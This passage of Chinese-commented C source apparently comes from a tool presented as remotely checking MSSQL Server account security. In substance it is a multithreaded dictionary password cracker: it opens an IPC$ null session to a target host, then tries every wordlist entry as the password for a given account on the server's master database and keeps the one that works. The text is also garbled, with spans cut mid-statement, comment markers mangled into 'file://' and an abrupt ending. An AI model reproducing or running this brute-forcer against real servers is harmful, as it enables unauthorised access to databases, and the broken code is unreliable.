遠程檢測MSSQLServer賬號安全性

strlen(tmp)-1);
total++;
if(total>=19999)
break;
}
fclose(fp);
return 0;
}
////////////////////////////////////////////////////////////////////////
int ConnIPC(char *RemoteName)
{
NETRESOURCE nr;
DWord flags=CONNECT_UPDATE_PROFILE;
TCHAR RN[30]="\\\\",
LN[5]="";

strcat(RN,RemoteName);
strcat(RN,"\\ipc$");

nr.dwType=RESOURCETYPE_DISK;
nr.lpLocalName=(LPTSTR)&LN;
nr.lpRemoteName=(LPTSTR)&RN;
nr.lpProvider=NULL;

if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
////////////////////////////////////////////////////////////////////////
int DelIPC(char *RemoteName)
{
DWord ret;
TCHAR lpName[30]="\\\\";

strcat(lpName,RemoteName);
strcat(lpName,"\\ipc$");

ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);
if(ret==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
////////////////////////////////////////////////////////////////////////
DWord WINAPI SQLCheck(PVOID pPwd)
{
file://定義局部變量
char szBuffer[1025];
char *pwd;
SWord swStrLen;
SQLHDBC hdbc;
SQLHANDLE henv;
SQLRETURN retcode;//ODBC API運行返回值
SCHAR ConnStr[200];//連接數據庫字符串
long PreviousCount;

file://取得傳遞過來准備探測的密碼
pwd=(char *)pPwd;
file://構造連接數據庫字符
sprintf(ConnStr,"DRIVER={SQL Server};SERVER=%s;UID=%s;PWD=%s;DATABASE=master",
target,UserName,pwd);
file://puts(Conn

(SQLHDBC FAR
*)&hdbc)) != SQL_SUCCESS)
{
printf("\nAllocate connection handle failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV, henv);
ExitProcess(1);
}
file://連接數據源
retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),
szBuffer,sizeof(szBuffer),&swStrLen,
SQL_DRIVER_COMPLETE_REQUIRED);
if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO)
{
file://連接失敗，函數終止
file://printf("\nCouldn't connect to %s MSSQL Server.\n",target);
}
else
{
file://連接遠程MSSQL Server數據庫成功
Cracked=TRUE;
strncpy(passwd,pwd,sizeof(passwd));
file://斷開連接
SQLDisconnect(hdbc);
}
}//end of tyr
__finally{
file://釋放連接句柄
SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
file://釋放環境句柄
SQLFreeHandle(SQL_HANDLE_ENV, henv);
file://對信標當前資源數量進行遞增1，並取得當前資源數量的原始值
ReleaseSemaphore(hSemaphore,1,&PreviousCount);
file://計算當前活動線程數量
ActiveThreads=MaxThreads-PreviousCount-1;
file://printf("\nActiveThreads%d.",ActiveThreads);
file://如果活動線程數量為0,那麼將事件內核對象hEvent改為已通知狀態，程序結束
if(ActiveThreads==0)
{
SetEvent(hEvent);
}
}//end of finally
return 0;
}

////////////////////////////////////////////////////////////////////////
int main(int argc,char **argv)
{
HANDLE hThread;//線程句柄
DWord dwThreadId,dwRet;
int i=0,err=0;
clock_t start,end;//程序運行的起始和結束時間
double duration;

if(argc!=5)
{
usage(argv[0]);
return 1;
}
file://取得目標地址，用戶名
strncpy(target,argv[1],sizeof(target));
strncpy(UserName,argv[2],sizeof(UserName));
file://取得並檢查用戶輸入的最大線程數量
MaxThreads=atol(argv[4]);
if((MaxThreads>100) || (MaxThreads<1))
{
usage(argv[0]);
return 1;
}
file://讀取字典中的單詞到內存中
if(ReadDic(argv[3])!=0)
return 1;
file://與目標機器建立IPC Session
if(ConnIPC(argv[1])!=0)
{
printf("\nCan't built IPC NULL Session!");
return 1;
}
else
{
printf("\nBuilt IPC NULL Session success!\n");
}
file://創建信標內核對象,最大資源數量和可以使用的資源數量均為MaxThreads
hSemaphore=CreateSemaphore(NULL,MaxThreads,MaxThreads,NULL);
if(hSemaphore==NULL)
{
printf("\nCreateSemaphore() failed.ErrorCode:%d.",